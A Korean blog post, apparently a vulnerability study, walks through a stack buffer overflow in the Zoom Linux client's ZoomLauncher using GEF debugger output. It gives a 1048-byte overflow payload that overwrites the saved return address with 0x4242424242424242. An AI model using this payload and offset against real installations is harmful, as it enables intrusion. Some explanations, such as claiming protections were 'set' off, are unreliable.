728x90
Zoom Linux Client 2.0.106600.0904 - Stack-Based Buffer Overflow
유형
Stack-Based buffer Overflow
CWE-121
Exploit-DB
https://www.exploit-db.com/exploits/43355
분석
gef> checksec
[+] checksec for '/opt/zoom/ZoomLauncher'
Canary : No
NX : Yes
PIE : No
Fortify : No
RelRO : Partial
GEF 프로그램으로 취약점을 분석하는 과정이다.
먼저, Canary(buffer overflow에 대한 스택 보호 기능), PIE(기계어 코드의 몸체, 절대주소와 상관없이 실행), Fortify(보안 소스코드 검사)을 모두 No로 설정하고 NX(메모리 쓰기, 실행 권한 부여)를 설정했다.
gef> r $(python -c 'print "A"*1048 + "BBBBBBBB"')
Starting program: /opt/zoom/ZoomLauncher $(python -c 'print "A"*1048 + "BBBBBBBB"')
ZoomLauncher started.
Breakpoint 4, 0x00000000004025a6 in main ()
A문자와 BBBBBBBB 문자열로 구성된 payload를 설정해 프로그램을 실행하였다.
메인함수의 0x4025a6 주소에서 프로그램이 충돌한다.
gef> x/5i $pc
=> 0x4025a6 <main+367>: call 0x4010f0 <strcat@plt>
0x4025ab <main+372>: lea rax,[rbp-0x410]
0x4025b2 <main+379>: mov rcx,0xffffffffffffffff
0x4025b9 <main+386>: mov rdx,rax
0x4025bc <main+389>: mov eax,0x0
gef> x/s $rdi
0x7fffffffd330: ""
gef> x/s $rsi
0x7fffffffdc35: 'A' <repeats 1048 times>, "BBBBBBBB"
rdi에는 빈 문자열, rsi에는 설정한 페이로드를 가리키고 있다.
gef> i f
Stack level 0, frame at 0x7fffffffd750:
rip = 0x4025a6 in main; saved rip = 0x7ffff7216f45
Arglist at 0x7fffffffd740, args:
Locals at 0x7fffffffd740, Previous frame's sp is 0x7fffffffd750
Saved registers:
rbp at 0x7fffffffd740, rip at 0x7fffffffd748
- 실행할 다음 명령어의 주소(rip) ㅣ 0x4025a6
- 함수 호출 후 스택에 저장된 리턴 주소값(saved rip) | 0x7ffff7216f45
- 함수의 인수들이 저장된 위치 | 0x7fffffffd740
- 함수의 로컬 변수가 저장된 위치 | 0x7fffffffd740
- 이전 함수의 스택 프레임에서 스택 포인터 값 | 0x7fffffffd750
- main 함수 실행 후 프로그램이 반환되어야 하는 위치 | 0x7ffff7216f45
gef> ni
0x00000000004025ab in main ()
gef> i f
Stack level 0, frame at 0x7fffffffd750:
rip = 0x4025ab in main; saved rip = 0x4242424242424242
Arglist at 0x7fffffffd740, args:
Locals at 0x7fffffffd740, Previous frame's sp is 0x7fffffffd750
Saved registers:
rbp at 0x7fffffffd740, rip at 0x7fffffffd748
스택의 반환 주소를 0x4242424242424242로 바꾸어 버퍼오버플로우 취약점 공격을 한 모습이다.
- 실행할 다음 명령어의 주소(rip) ㅣ 0x4025ab
- 함수 호출 후 스택에 저장된 리턴 주소값(saved rip) | 0x4242424242424242
- 함수의 인수들이 저장된 위치 | 0x7fffffffd740
- 함수의 로컬 변수가 저장된 위치 | 0x7fffffffd740
- 이전 함수의 스택 프레임에서 스택 포인터 값 | 0x7fffffffd750
- main 함수 실행 후 프로그램이 반환되어야 하는 위치 | 0x4242424242424242
728x90
'보안 > 취약점 분석' 카테고리의 다른 글
CVE-2023–37734: Buffer-overflow in mp3_audio_converter (0) | 2023.08.11 |
---|---|
CVE-2017-17969: ZIP Shrink Heap Buffer Overflow (0) | 2023.08.11 |
CVE-2022-0453: A Remote Stack Overflow in The Linux Kernel (0) | 2023.08.08 |
CVE-2019-6498: GattLib 0.2 Stack Buffer Overflow (0) | 2023.08.08 |
CVE-2017-5375, CVE-2016-1960 (0) | 2023.08.02 |